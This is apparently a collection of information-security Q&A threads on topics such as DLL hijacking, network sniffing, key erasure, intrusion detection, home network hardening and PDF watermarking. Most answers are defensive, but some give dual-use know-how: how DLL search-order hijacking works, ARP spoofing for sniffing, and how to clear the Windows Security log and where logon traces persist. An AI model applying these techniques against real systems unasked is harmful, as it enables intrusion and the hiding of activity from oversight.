Does domain privacy make a domain less secure? Does buying domain privacy make the domain more secure against hijacking? Would it make the domain less secure against losing it, if the registar gets bankrupt? I am afraid that the domain could be seized to pay the debt of the registrar, if buying domain privacy makes the domain to be property of the registar.

Domain privacy will only hide your identity as a domain owner, in case someone do whois to your domain, they will see a domain privacy provider identity, rather than your real identity. You can use a fake identity instead, but it will give you some troubles when ICANN need to verify your identity.

Technically it may save you from some social engineering activities such as someone calling your phone number or send you an email (based on your domain identity) and trying to ask you something which considered important. Some people also can use your domain identity to make a scam website, mostly money games website.

Domain privacy may give you some extra security against your identity, but it will damage your reputation either, especially if you run a business website, people will think that it's a scam website because of those hidden identity.


Would DLL hijacking work with load-time linking? I was wondering if DLL hijacking would work with all types of linking or just run-time linking. I hear that malware uses it and wanted to know how it works

There are two types of linking: static linking and dynamic linking.  DLL Hijacking is when a malicious program takes advantage of dynamic linking.  For dynamic linking to work there needs to be a list of paths to find the shared library that is being linked.  In Windows there are various ways for the search path to be affected.  But there is generally an order in how the search is performed, and most applications don't provide a fully qualified path (e.g. C:\WINDOWS\system32\kernel32.dll) for the shared object that they plan to load.

What happens is an attacker will place a DLL of the same name in a location searched before the location of the legitimate DLL.  For instance, lets say the search path when attempting to load kernel32.dll is first C:\Program Files\MaliciousDir\ and then C:\WINDOWS\system32\.  The application simply calls LoadLibraryW(L"kernel32.dll");.

As long as the attacker has their version of kernel32.dll in MaliciousDir, their version will get loaded not the legitimate version.  This can be mitigated by providing a fully qualified path to the library you're loading.

Static linking means that the entire library was built into the application.  An entire copy is kept by the application, and all function addresses to that library are resolved at compile time.  Which means that there is no searching for the library, and an attacker can't replace the library itself.  The downside to this is that the application becomes enlarged by the size of the library, and updating the library itself means that the entire application needs to be updated.

In this case DLL hijacking does not work.


What's the best route to watch network traffic on our networks? We have a single switch that routes all our different offices around the country using Meraki VPN. We have a VM on the switch (to the extent it can see all subdomains and different IP addresses in our other offices) running Kali. I'm trying to figure out the best way to pick and choose our networks in which we want to monitor the traffic. I know when monitoring on the corporate network, we can just run an arpspoof and sniff that route and that works fine. But from the main switch, it seems to be a different story.

Any thoughts?

If your switch supports port mirroring, I would definitely go that route.

Port mirroring will essentially duplicate all traffic coming through the switch, and send it to a single port. You would then want to connect a machine to this port and run whichever packet capturing tool (such as Wireshark) for analysis.

I wouldn't want to go with the ARP poisoning route. This can slow down your network and if the machine sending out the spoofed ARP requests were to fail you could bring your entire network to a halt.


Citrix Remote Tracking Can screen shares be detected/tracked when using Citrix-receiver to remote into office desktop?

Can other tools in addition to Citrix be used to monitor employees?

Citrix has session monitoring built into XenApp and XenDesktop. You can read an overview here, but for completeness sake here is a list of a few of the capabilities that an administrator would have in a typical XenApp or XenDesktop environment:

Read an audit log of which users opened sessions, when, and to where
Record sessions as a whole (to video)
Record keystrokes and mouse movements
See a screenshot of a session
See a session's process list
Kill processes on a session
Run commands on the session


Is connection established with two way SSL as secure as SSH? If we establish the connections between two peers using two way SSL with strict configuration(TLS1.3 ,strict cipher etc..) and disabling client initiated re-negotiation.
And likewise we establish the ssh connection,then which connection will be considered more secure ?

Can a two way ssl connection be as secure as ssh ?

Unless you have a specific threat model, they both provide equally secure cryptography. There are some differences in how they are used and what threats apply to them, such as TLS typically using the web PKI (Public Key Infrastructure) for authentication whereas SSH relies on TOFU (Trust-On-First-Use). The former trusts Certificate Authorities, whereas the latter relies on at an initial connection that is not compromised. So yes, TLS can be just as secure as SSH.


GnuPG "public key decryption failed: Invalid ID" using Yubikey Smartcard I'm trying to decrypt a file that was signed with my ssb key stored on my Yubikey, but I get the following errors:

x>gpg -vv --decrypt encrypted.gpg
gpg: armor: BEGIN PGP MESSAGE
# off=0 ctb=XX tag=1 hlen=3 plen=XXX
:pubkey enc packet: version 3, algo 1, keyid XXXX5753679AAAAA
        data: [4096 bits]
gpg: public key is XXXX5753679AAAAA
# off=XXX ctb=XX tag=1 hlen=3 plen=XXX
:pubkey enc packet: version 3, algo 1, keyid XXXX05D83EFAAAAA
        data: [4096 bits]
gpg: public key is XXXX05D83EFAAAAA
gpg: using subkey XXXX05D83EFAAAAA instead of primary key XXXXXXXXXXXXXXXX
# off=XXXX ctb=XX tag=XX hlen=2 plen=0 partial new-ctb
:encrypted data packet:
        length: unknown
        mdc_method: 2
gpg: using subkey XXXX05D83EFAAAAA instead of primary key XXXXXXXXXXXXXXXX
gpg: encrypted with 4096-bit RSA key, ID XXXX05D83EFAAAAA, created 2018-XX-XX
      "x (Personal Key) <x@gmail.com>"
gpg: public key decryption failed: Invalid ID
gpg: using subkey XXXX5753679AAAAA instead of primary key XXXXXXXXXXXXXXXX
gpg: encrypted with 4096-bit RSA key, ID XXXX5753679AAAAA, created 2018-XX-XX
      "y <y@gmail.com>"
gpg: decryption failed: No secret key

To make sure my smartcard was being detected, I ran gpg --card-status, which worked, and I saw the same ID in the output. Anyone know why I can't decrypt using my yubikey? Thanks.

Also, I ran gpg --list-secret-keys:

x>gpg --list-secret-keys
C:/Users/x/AppData/Roaming/gnupg/pubring.kbx
--------------------------------------------------
sec>  rsa4096 2018-xx-xx [SC] [expires: 2019-xx-xx]
      XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      Card serial no. = 000X 0XXXXXXX
uid           [ultimate] x (Personal Key) <x@gmail.com>
ssb>  rsa4096 2018-xx-xx [E] [expires: 2019-xx-xx]
ssb>  rsa4096 2018-xx-xx [SEA] [expires: 2019-xx-xx]

The thing is, I don't have the second secret key, only the first. The issue seems to be "public key decryption failed: Invalid ID" (the secret key of this public key is on my smartcard).

I just ran into this problem today. I still have no idea what causes it, but I can reproduce it every time. I have gotten it to work consistently by doing the following:

plug in the yubikey
run gpg --card-edit
at the prompt type "verify" (and enter the password to unlock the card)
Quit out of gpg card edit, and then I am able to decrypt files as normal.

I am still looking for a less manual solution but this has been working for now.


What is properly way to manage and remove symmetric key in C# If I have a symmetric key in a byte[] array in C#, how can I erase it securely?

for (int i = 0; i < array.Length; i++) {
    array[i] = 0;
}

Is this good enough?

Yes, that's generally good enough.

If you are worried about residual current then you could first randomize it or use 0xFF and then 0x00 to fill the array. However, retrieving memory from the chips itself is not that easy.

Note that C# and other managed languages may shuffle / copy memory locations when memory management is performed (e.g. compacting the memory after garbage collection). The shorter the life time of the key the less chance it remains in memory somewhere.

Another issue is that the (just-in-time) compiler optimizes out the memory. The only thing against that is to actually use the memory:

byte total;
for (int i = 0; i < array.length; i++)
{
     total |= array[i];
}
if (total != 0)
{
    throw new Exception();
}

this makes it much harder and therefore less likely that the code will be optimized out.

And yes, doing secure coding in managed languages has a lot of advantages, but there are also disadvantages like the ones explained above.


How to detect suspicious activity on a web and mailserver? There is a OpenBSD (64bit; 5.5) server having nginx (HTTP/HTTPS) and SMTP (OpenSMTP).

Question: What are the best practices to detect suspicious activity? Are there any scripts that shows interesting activity from the logs or somewhere? Attacks, DDOS, any abnormal activity?

Example for detecting IP addresses that connected too many times: dos.awk

function max(arr, big) {
    big = 0;
    for (i in cat) {
    if (cat[i] > big) { big=cat[i]; }
    }
    return big
}

NF > 0 {
    cat[$1]++;
}
END {
    maxm = max(cat);
    for (i in cat) {
    scaled = 60 * cat[i] / maxm;
    printf "%-25.25s  [%8d]:", i, cat[i]
    for (i=0; i<scaled; i++) {
        printf "#";
    }
    printf "\n";
    }
}

How to use it:

tail -n 1000 /var/www/logs/access.log | awk -f dos.awk | sort -nrk3 | less

There are a number of ways you could approach this, but the most direct would probably be to set up an intrusion detection system, such as Snort.  It monitors all traffic to the server and can warn you of suspicious activity.
https://www.snort.org/


Web-based intrusion detection integrating visibility into web app and database Consider the problem of hardening an existing, database-backed web application, to detect attacks and stop them where possible.

It seems like one plausible approach might be to build an intrusion detection system that has observability at two points: (a) at the web server level (e.g., to observe the page being executed, the request URL, request parameters, the session cookie), and (b) at the database level (e.g., to observe the SQL query that is being executed).  I can imagine many opportunities to build an anomaly detector and monitoring system that can detect many attacks.  For instance, if in the past SQL queries initiated from the page foo.php have been SELECT queries, and now you see an UPDATE or DROP command, that might be suspicious.  If I see a query that contains a semicolon or a nested subquery, and I've never seen that before from that page, that might be suspicious.  And so on.  This is the kind of thing that can only be be implemented with visibility into both the web request (e.g., at the web server or front-end level) and the database.

Has anyone looked at this kind of system before?  Has anyone built it, and if so, how well does it work?  Is there a standard name for this sort of system?  (My understanding is that a web application firewall normally has visibility only into the web application but not into the database, so it is different.)  Are there existing systems like this available commercially or as open source?

i do not want to advertise a commercial solution, but there exists one database firewall i know of that offers such kind of db-protection you asked for, including learning-mode, whitelisting etc.

  Has anyone built it, and if so, how well does it work?

it works as well as your implementation. a good implementation is needed, since
each of these products needs to be finetuned. the better you define requirements, the easier it is.

automated whitelist-generation for both the WAF and DB-Firewall might be included into your regular deployment-cycles, e.g. generated on test-systems in learning-mode and updated/transferred on(to) your live-systems during deployments.

my pov: WAFs and WAF-style protection works very well against automated attacks and the dump, while not against those smart guys who know how to hide their attacks within regular requests proof: case1, case2

  Is there a standard name for this sort of system?

defense in depth :))))

  Are there existing systems like this available commercially or as open source?

no all-in-one solution afaik, and it wouldnt make much sense: you would like to have your WAF in your frontend-gateway and the db-protection between your appservers and databases. http-request are afar more complex than sql-queries, and the filter-approach is quite different. weaponized with lua you can blow up your waf to
a real cool toy, esp. when generating profile-based protection.

i usually suggest nginx+naxsi as a simple, pattern based waf, if possible pure whitelisting, and if you need more, a customized LuaWAF. on the db-level i go green :D

when you need more protection and want to filter not only incoming, but also outging traffic i'd suggest snort/suricata between your frontends/app-servers; i like this solution from a performance-pov; mod_security for instance, a solution we used before, is total PITA in both performance and rule-maintainance.


Is using Google Forms to share “passcode protected” information safe from brute force attacks? I have recently seen many people use Google Forms as a way of sharing “passcode protected” information. They seem to have the first section of the form with a required field asking for a short piece of text (the “password”), and if the inputted text does not exactly match the required text, it gives you a custom error message telling you the “password” is incorrect. The second section of the form is the secret information, which you can’t see until you put in the correct “password” from the first form section. You don’t log in with a Google account either.
I’ve seen many schools use this as a way to share Zoom Meeting IDs and passwords with students. While it superficially seems to work well enough for most people, is this really a safe way of protecting private information? For example, are people who use Google forms to passcode protect information safe from things such as brute-force attacks? I’m fairly sure the “passwords” being used aren’t strong either.

No, this is not secure at all. You don't even need to brute force anything. Both the password and the secret are right there in the source code of the form page. All you have to do is to use the "inspect" or "view page source" feature of your browser in order to see it. You can easily test this yourself by creating a form with a "password" and a "secret" and then doing a search in the source code of the form for the secret. The input validation feature isn't designed to be used for password protecting data, so it shouldn't be used this way.


Lock And Unlock Files Using USB Key I am looking for a way to make a set of files only able to be read when a USB key is plugged into the system. For example, if I have FILE A on my C drive and I try to open it, it will say something like "Please insert key" (The "key" being a USB drive)  Once I plug the USB drive into the computer and try to open that file, it functions normally.

It's a bit like Predator, but instead of locking the whole computer when you remove the USB drive, it only locks the files. Further, I would like this "locked" attribute to exist across systems, so that if anyone copies the files, they will not run on any other system unless they have the "key".

I worked at a company before that had such a system in place, so I know it's possible, I just have no idea how they did it.

Basically, I think what I'm trying to do is encrypt the files and put the key-file to decrypt them on the USB drive.

Any help would be much appreciated!

TrueCrypt seems to offer the ability to use a key file with its encryption.

***As a major disclaimer TrueCrypt technically is no longer supported and may be insecure.

Here is a guide that you can use to add a keyfile to that encryption. You could store a key file on a USB and use that in addition to a password. There might be a more automated way to do this via detection of a USB and search for a filename but this is pretty close to what you want I think.


How does Amazon prevent mischief in their AWS Lambda service if I am allowed to execute code on their machine? AWS Lambda lets me execute a piece of code on a random Linux machine it provides to me, whenever I need to run my code.

What is stopping me from executing OS level commands that let me take over the machine?

Simply, the environment within which you are executing your commands is sandboxed and is unable to affect the host OS or other users' commands. Unless there's a vulnerability, of course. From https://aws.amazon.com/lambda/faqs/:

  Q: Can I access the infrastructure that AWS Lambda runs on?

  No. AWS Lambda operates the compute infrastructure on your behalf,
  allowing it to perform health checks, apply security patches, and do
  other routine maintenance.

  Q: How does AWS Lambda isolate my code?

  Each AWS Lambda function runs in its own isolated environment, with
  its own resources and file system view. AWS Lambda uses the same
  techniques as Amazon EC2 to provide security and separation at the
  infrastructure and execution levels.


Is it safe to store password in HTML5 sessionStorage? I am trying to improve the user experience on registration by not requiring the user to retype their password if validation on other fields fail. There are a few ways to implement this, example using session cookie and storing a hash of the password on the server side. I am exploring this alternative of storing user password temporarily on the client side without having the server to keep track of it. Is this method feasible? What are the risks involved?

In principle, values stored in sessionStorage are restricted to the same scheme + hostname + unique port, and if the browser has a clean exit these values should be deleted at the end of the session. However, according to this post it can survive a browser restart if the user chooses to "restore the session" after a crash (which means its values also exist in persistent memory until they are cleared, so keep that in mind). If well implemented, I'd say it's safe enough - especially compared to your alternative of using a cookie (which has many pitfalls that I wouldn't even consider). The W3C Specification also states that Web Storage might indeed be used to store sensitive data (though it's unclear whether or not that practice is endorsed).

As for the risks, it's simply a matter of tradeoffs: you're making your site a little more convenient for your users, while increasing a little the window of opportunity for the password to be captured (either by means of a XSS vulnerability, by the value persisting in persistent storage for longer than you intended to, or by the user leaving the computer unattended before finishing registration). Ideally, passwords should never leave RAM, but that's usually impractical to do, so some compromise is necessary. I'd just advise to clear the password from sessionStorage as soon as the registration succeeds, and to keep an eye for vulnerabilities on sessionStorage implementations that may eventually come to light.


What technique should I use to prevent unpermitted access to my REST API I need to build an REST API that can be accessed via HTTPS when given valid credentials.

How should I implement those credentials?

I am looking for advice whether I should use plain old passwords, or tokens or somethings else, and why I should do so.

I do not look for a tutorial on how to set up this (even though I won't be mad if provided any)

You have a lot of options and you should pick the best one based on your requirements.  Authentication systems aimed at automated systems have different usability requirements than users.

For example, users generally don't want to present their password with every request or handle long, complicated passwords.  The code calling your API doesn't have those issues.

Internally you should probably store api tokens or passwords the same way you do user passwords: salt them with a long random value and hash them with a reasonable algorithm.

You also have the option of using client certificates that are trusted by your app.  More complicated to set up but you don't have to pass the sensitive credentials materials between systems.

Again, all of these options should be vetted against the security requirements of the system.  If you're securing a bank or missile launch codes you're going to want to have higher standards than the API for a casual website.


Should I generate new SSH private keys for each machine I work from? I hope this is an appropriate place to ask this question. I've been thinking recently about public and private keys, and I'm wondering what the best practices are related to management of my own personal private keys. Specifically, if I regularly use three different computers (personal desktop, work desktop, laptop), along with others with more occasional use, what is the best way to use private keys?

Currently I generate a new key pair on each computer I'm using, then end up adding them to authorized_keys as I need them. Is this the best way to go, or should I be using a single key pair and copying it to all of the computers I use? I guess the question is, should my key pair be used to identify "me", or to identify "me at X computer"?

The question is a bit confusing. As I understand it, you're asking about logging in to a server, via SSH set up with PubKeyAuthentication, from any of your three machines.

You should generate one pair of keys for each machine. In this way if one private key gets compromised you don't have to regenerate a key pair on all three machines you login from. In fact, you want to identify yourself (to the server) as "you at computer X".

If you were using PGP, then you should be using an unique key pair to identify yourself (to other PGP users) as "you".


PKI - Why Root CA is in intermediate CA section? I can't understand why, when I accept to "install" a custom self signed Root CA on IE browser, the root certificate ends up in the "intermediate CA" section, rather than in "Root CA" section in the browser certificate container (and in Windows certificate manager too, may be both are the same).

Is it a Microsoft strategy, to only display in Root CA section the trusted CA list ? And not allowing the insertion of a "not known" Root CA in this section ?

When using it, I can't see any difference, but there must be an explanation.

These problems often spur out of incorrect certificate usage parameters.
Obviously, you need to have CA:TRUE, but the other key usage parameters also need to be correct. If the certificate usage parameters are incorrect, chances are that windows autodetect this certificate as a intermediate CA.

If there is the smallest disprecancy between the signer and subject of the certificate (so its no longer really orthodox "self-signed"), then it will be taken as a intermediate certificate.

You can install this as a Intermediate certificate. Go then in the certificate path and check if windows Thinks this certificate is signed by a Another CA. If windows misdetect the certificate as intermediate, you should see a top certificate that is present with a X above your certificate because windows do not know about this certificate.

If you still want to install this as a real root certificate, you can manually override the certificate placement by unchecking the box "Let windows choose a suitable store for this certificate" and then manually selecting "root CA".


Android, how do I prevent Confused Deputy Attacks? In case that a malicious mobile app hasn't the appropriate permissions to e.g. download a file, it can invoke a browser to download sth. Concrete examples of such an attack are shown  from page 27 to page 29 in Android Security Architecture. I want to make sure that my mobile application isn't susceptible to this kind of attack. Hence my question is, how do I prevent my mobile application from being abused by a malicious one to exploit the mobile user?

Thanks in advance.

The root of the confused deputy problem is an application performing a sensitive action on behalf of a malicious user.

In the context of an android application, it is possible for an application to be launched with arguments.  In this case an argument would be an attack surface that could be vulnerable to any sort of input validation vulnerability,  including confused deputy attacks.  In short,  no android app should trust this input or perform an elevated action on behalf of the caller.  Doing so would be a vulnerability.

If an android application is a webview,  then it could be vulnerable to XSS, CSRF.  These two vulnerabilities use the browser as a confused deputy and is discussed on the confused deputy problem Wikipedia page above.


Is using a web service in a browser safer than running it natively installed? let's take a theoretical app that has both an installable version and a web version. I use it via my web browser or I can install the app.

What are the safety considerations for the host operating system given each option? is one safer than the other, or does the browser protect you more?

I guess I have always been under the impression that running the web app of a service is safer than installing it as if there was malicious code it is limited to the browser. But I wanted to know how realistic this is?

The answer is - it depends on the application, and also depends on the threats you want to address.

In most cases, if you are running application in web your attack surface may be a smaller then in case of natively installed - easily because you run a process in a sandboxed environment (for example chrome sandboxes each tab), and you run less code in your web browser. This makes you more protected through the vendor because he would need to exploit the whole browser. That said you have different new vectors attacks like XSS or CSRF.


Custom Suricata's HTTP alert isn't triggered when using ".." as part of the scanned uri. Why? I have a doubt with a Suricata custom rule.

If I do: alert http any any -> any 80 (msg:"blabla"; content:"abc"; http_uri; sid:1000000;) I can get requests to http://x.x.x.x/abc uri in fast.log file

But if I do: alert http any any -> any 80 (msg:"blabla"; content:".."; http_uri; sid:1000000;) I cannot get request to http://x.x.x.x/.. uri

Why?? I can't understand and I'm going desperate.

PD: I've tried to write content:"|2e2e|" (hexadecimal equivalent to ".") but with no luck. In fact, looking at stock suricata.rules file expressions like ".." (or "../") appear without any special codification.


Suspicious email! “Data removal request” Please help me. I’m really scared about this and I don’t know what to do. I’ve never gotten this kind of email and I was stupid and replied.

The details about (alleged) sender of this mail are missing so one can only speculate from your behavior that this mail is completely unexpected for you. In this case it is very likely a typical phishing mail where the sender tries to lure you into clicking on the provided link and then enter your credentials to some service (Mail, Netflix, Paypal, Facebook ... - targets vary) so that the attacker can misuse these credentials.

If you did not click on the link and filled in the form but just replied to this mail usually nothing bad will happen. The worst thing is that the attacker will see that the mail account is actually active and that you will get more such mails in the future or that the attacker will try to lure you with more targeted mails into providing credentials, executing malware or whatever. Just ignore these attempts.


How do I protect the WiFi-network I'm on from worms? 5 days ago, I downloaded a file from the internet and I'm currently worried about it being malware. I don't store any important information on the computer I downloaded it with, but I'm afraid of the file (if it is indeed malware) spreading to other computers on the network. I don't have shared folders, and every computer on the network has a firewall installed. Are there other things that can be done to prevent a worm from spreading on the network?

Stopping network worms is very simple: configure each device's firewall not to allow incoming connections. That's all you need to do. Bonus points for having a home router that can block the device-to-device traffic.

But that's not the only threat in your story...

  "I don't store any important information on the computer I downloaded
  it with..."

Yes, you do. You likely store email, account details on all the websites you subscribe to, personal information. Your browsers likely store passwords, and other sensitive information. If you use online banking from that computer, then your bank account is exposed.

That computer also has access to your home router. If your router can be hacked, or if the admin password is weak, then a malicious actor can take over your entire network.

The computer itself can be used as a launching point for attacks outside of your network or a storage point for malicious actors.

So, yes, the worm stuff can be handled simply, but there is a lot more to consider.


Determing and deciphering an encrypted drive (knowing the password) I have a Western Digital external drive (my passport essential 500GB), which comes with a little software that allows you to encrypt your data (which I did sometime ago). Unfortunately, this software is windows only... Since I have a new laptop, on which I don't have windows (and don't want it), I can't access my data anymore (wine didn't help in this case).

My question is: is there a way to detect the encryption scheme that was used to encrypt the data, and if so, what can I do to decipher it (fortunately, I still have the password)?

PS: of course, I could try to find a window device somewhere, but I am really curious about this!

Probably the best place to start is to find out which software was used to encrypt the data. Without knowing that little bit, the answer could be anything.

As for the drive itself, you could try viewing the start of the data in a hex editor and see if you notice any patterns. Such would be an artifact not of the encryption scheme but rather of the software that was used to put it there. Encryption only leaves noise, but sometimes the software you use to encrypt the data will leave its own fingerprints.

The best way to get your utility to run is probably in virtualization. Install your software in a windows VM and attach your drive to the VM as a raw device.


Using outdated Chrome 32-bit Somewhat irrelevant, but still:

Due to economical limits I am on a rather old PC. One of the issues is that it is 32-bit.

I was using FireFox for a long time, but due to memory usage I finally went over to Google-Chrome. After years using this it went out of 32-bit production.

I have tested out Chromium and Vivaldi, but, though I favor the latter it is still not “the same” and I tend to fall back on old Chrome.

My question is how bad it is to use outdated software like 32-bit chrome (Linux) – when mainly using on trusted sites?

I am only using it on sites I “trust” (trust is used in a somewhat broad sense here), like stackexchange, a few news-sites, google.com etc.

I also use multiple profiles, if that makes any difference. (Ease of profile use is one of the reasons I use it.) I have bare bone profile for testing various development. I have one developer profile for extensions. I have one for stackexchange and resource research, one for news and other crap, and so on.

I do not use it for e.g. banking or other sites that require identification or other security prone needs.

I understand any site can be hacked, any site can be injected with malware that exploits for example “dumb asses” like me. My somewhat naive thought is that; if any of the sites are compromised, I'm going to get noticed, and can take action if that happens. Is this only wishful thinking?

If continuing; Are there any other precautions I can take. Is there for example any

I understand any site can be hacked, any site can be injected with malware that exploits for example “dumb asses” like me. My somewhat naive thought is that; if any of the sites are compromised, I'm going to get noticed, and can take action if that happens. Is this only wishful thinking?

Yes, this is wishful thinking.

For a well crafted exploit, you will likely never notice if it's running on your machine, unless of course, it wanted to be noticed.

Also, for the news sites you frequent, here's an article talking about how one major news site was hacked by chinese hackers. Even Google was the target of an attack of sorts (although, this particular attack would likely not succeed if you were using Google Chrome).

I would suggest either:

Getting a 64 bit OS (I'm not sure how little RAM your machine has, but 4GB is enough to justify and support 64bit)
Moving to a browser that supports 32 bit and is updated. My understanding is that Chromium supports 32 bit still but don't quote me on that.


Windows Vista user logon integrity Is it possible to delete some or all user session logon datetime records from Windows Vista? Is there any mechanism to give me confidence that individual records aren't deleted even if there isn't a public API call for that action?

You can clear an entire event log, but not individual entries.

If you're an administrator on the machine, you can go into Event Viewer and clear the Security log, by right clicking it and going into Properties, then clicking Clear Log. This will remove all logs, then add one entry that states the time and user ID that cleared the log.

Keep in mind that this may not necessarily destroy all traces of the security logs, since remnants of the login event may still exist in other event logs and log files. Furthermore, on systems that belong to a domain, the login logs may be stored on the active directory server as well as the local machine.

For example, the following logs usually contain duplicate evidence of logons, bootup events, or other activity that can be linked back to a username:

Applications and Services » Microsoft » Windows

TerminalServices-LocalSessionManager » Operational
PrintService » Admin
ReadyBoost » Operational
User Profile Service » Operational
Application-Experience » Program-Telemetry
Application-Experience » Program-Compatibility-Assistant
Diagnosis-Scheduled » Operational
Diagnosis-Scripted » Operational
Diagnosis-Scripted » Admin

Windows Logs » Application

Filter by User != SYSTEM and User != N/A, then order by time. Easy to spot events that correlate to specific times.


Moving all servers to routeable IP Addresses Company I am consulting to wants to move all their servers from private IP space to public IP space.  I'm am trying to convince them that this is a bad idea that it makes sense to move only certain servers but not internal services such as Active Directory, Internal databases, etc.  According to their network guru's the servers will be secured based on the use of firewalls and IPS/IDS devices.  Am I wrong in saying that this is will not be enough?

A properly configured firewall protecting routeable addresses provides equivalent security to the de facto firewalling provided by NAT.  There may be a slightly greater risk of holes opened up by misconfiguration with routeable addresses, but as the old saying goes, "Nothing is foolproof, because fools are so ingenious."

You'll want to examine assumptions - what advantage do they think this will provide them?  Are they sure they can get the number of addresses needed to cover their systems?  But your concerns that routeable firewalling vs. NAT is insufficient is not true with today's firewalls.


What can be done to harden typical consumer networks? With the latest rise of IoT devices in consumer networks, a typical home network for the sake of this attempt on a canonical question for consumers might consist of

a SOHO router that does provide a LAN switch, NAT and WiFi as well as UPnP and NAS capabilities,
a wifi Printer,
a DVR,
a TV,
a couple of different makes and models of WiFi cameras,
some „smart“ home devices such as thermostats and light bulbs,
a couple of PCs with Windows, Mac OS and Linux and
a couple of android and iOS smartphones.

What measures can a consumer take on the infrastructure and the end points to make this setup reasonably secure for regular use against criminal activity (not against state actors or APTs) without impairing for example remote access to the DVR or cameras?

Anyone attempting to set up a "secure" home network with "smart" devices is going to have to make some compromises either about security or about ease of use.

I would say the first thing to do is to segment your network into at least 2, possibly 3 or more.

One for data access from reasonably protected End User Compute (EUC) devices (including desktops, laptops, tablets and mobiles). This network should not allow any inbound connectivity (standard firewall configuration). You might also consider segmenting your Wi-Fi network though this can be a pain to use since devices on wired and wireless connections may not be able to talk to each other without additional configuration. Certainly consider a guest Wi-Fi SSID.

This segment will also be used for media devices - these need access to the Internet but will be less secure as they get updates less often (maybe never) and vendors have nasty habits with your privacy. You may be able to segment these devices too if you don't need much access from EUC devices and that is certainly preferable.

The second main segment would be for IoT devices - typically, you should never allow these direct access to the Internet. Of course, if you have purchased devices that only work via an Internet facing service, you are rather stuffed there, those devices would have to go on your main segment but you should at least consider setting up firewall rules that only allow specific devices to talk to specific service endpoints. All other IoT devices may be allowed to talk to each other but not the Internet - well not directly anyway. Consider a home hub of some sort where you can control traffic securely - that's a separate question really. If you need to access IoT devices from EUC devices, configure specific routing to allow that.

In my own setup, IoT devices have access to a Raspberry Pi running Node-RED which is the hub. That Pi does have outbound access to the Internet but there is no inbound access. For offsite alerting, I use a Telegram "bot" which provides end-to-end security without the need for firewall rules. The Node-RED derived bot reaches out to the Telegram servers which allows secure, 2-way communications.

I never buy IoT devices that require external services to work. Not only does this potentially compromise security, it also means useless devices if/when the vendor loses interest or goes out of business. I may make an exception at some point for a "smart speaker" such as Alexa or Google Home. But that would not be controlling anything important in the house.

Wi-Fi camera's are another source of security issues. Again, I'd advise against connecting them direct to the Internet. Treat them as IoT devices and use a secure hub to act as a proxy if you really need external access to the video. It may also be possible to again use a Telegram bot to send video securely.


Effect of mail bombing I have option in my application which send an invitation email to another user.
Someday ago, one of my friend told me that, attacker can flood any email using this function. And i have checked that this is true.

But, is this really something bad for my application ? I mean memory corruption or any other matter ?

What you think researchers ?

Regards

Addition:
I am using a random token in that function. Which will invalid after logout. But with burp suit it is possible to repeat.

I think the greatest threat could be Denial of service, you could send so many e-mails you could saturate your SMTP server, your mail server and your user´s personal inbox.


Fragile digital watermarking algorithms suitable for PDF embedding I have a PDF file that I want to embed an invisible and fragile digital watermark. What are the suitable algorithms available for this task?

The majority of PDF readers will stop reading the PDF data stream upon hitting the %EOF token, and anyway would ignore comments starting with %.

So, it would be perfectly feasible to calculate HMAC-SHA1 and append the resulting hash to the PDF file.

This is not, strictly speaking, a watermark -- but it is invisible and fragile, as requested.

Your resulting PDF file would end in something like

...
startxref
179091
%%EOF
%0xde7c9b85b8b78aa6bc8a7a36f70a90701c9db4d9

from which integrity can be straightforwardly calculated.

With the help of the pdftk tool, you can also be able to uncompress a PDF, manipulate its Adobe Metadata stream (if there is one), and embed inside it a XML HMAC - or even a comment:

3 0 obj
<<
/Subtype /XML
/Length 1381
/Type /Metadata
>>
stream
<?xpacket begin='ï»¿' id='W5M0MpCehiHzreSzNTczkc9d'?>
<?adobe-xap-filters esc="CRLF"?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='XMP toolkit 2.9.1-13, framework 1.6'>
...
</x:xmpmeta>
<!-- 0xf7bc83f430538424b13298e6aa6fb143ef4d59a14946175997479dbc2d1a3cd8 -->
<?xpacket end='w'?>

endstream
endobj

The stream length will be changed; if there is enough slack in the XMP object, you might circumvent this, but there's no need, since pdftk in compress mode will be able to recalculate it and output a valid PDF.

In this latter case, the HMAC information will be compressed and not be directly readable. You will need pdftk (or the iText library, or...) to uncompress the PDF back and recalculate its MAC.

The procedure would be as follows:

uncompress the PDF to a stream and attach to the stream
read the stream one long line at a time and use it to build the HMAC
if a row is found in HMAC format, ignore it for HMAC calculation and store its HMAC value in SavedHMAC
on EOF, if checking the HMAC just compare HMAC and SavedHMAC
if embedding the HMAC, repeat the uncompress, this time embedding the HMAC row appropriately, then recompress the PDF. This can all be done without writing anything to disk.

You can do the same with a PDF object embedded in the PDF stream, e.g. using the iText library, but this would be much more complicated to be made fragile. PDF objects are largely independent from one another, so you would need to again recourse to something similar to HMAC, this time at object level, and then embed the value as e.g. 100% transparent text, or text outside the page boundaries (I know eBook publishers that employ one or both techniques).

Also with iText, but these are not fragile, are algorithms that modulate spacing of text objects on the page. Most text objects are not aligned to an integer multiple of the page unit:

24.4801 0 Td
[(w)4001.47(atermarking)]TJ
59.7 0 Td
(algorithms)Tj
46.9801 0 Td

and you can easily determine the minimum step that will be visible to the naked eye, e.g. 0.005. Then simply round all text positions, in the order they appear, to the nearest odd multiple of the step, if you want to encode an 1. Or to the nearest even multiple of the step, if you want to encode a 0.

Such a watermark will survive copy and be present independently on each page; with the addition of suitable error recovery (turbo code, Reed-Solomon...), it will also survive the removal or addition of some (not too many, of course...) objects on the page. It is also possible that it will survive printing and be recoverable from a scan of a printed page.

You would do this by implementing a iText RenderListener, whose renderText method would capture the textbox origin and "modulate" it as requested before it being sent to the appropriate PdfCopy.


Known windows malware propagated via unmounted iPhone Last week I was told by our security department that my PC (running windows 7) was infected by a trojan and that it needed to be re-imaged. So re-imaged it was! Given the fact that I had been using this PC for a while, visited thousands of web pages and used USB key to

3 days later, the security department notified me again that my PC is infected with malware and that my PC will (again) need to be re-imaged. Since I do not want to reimage my PC every 3 days, I want to figure out the infection vector (assuming it is the same malware)

Possible infection vectors I found:

Visiting a compromised web site
Downloading a trojan hidden in legitimate software (I did not download/install more that 3 pieces of software since the reimaging,
so that should be easy to find)
Connecting my iPhone to the USB port of my computer to charge it.

Can the latter be the cause of infection, even if the drive was not mounted? If so, is there a way to check/disinfect it?I found lots of tools for autorun.inf related malware, but these require the media to be mounted as a drive.

Edit: I have not been told what the exact malware was, nor when or how it was detected.

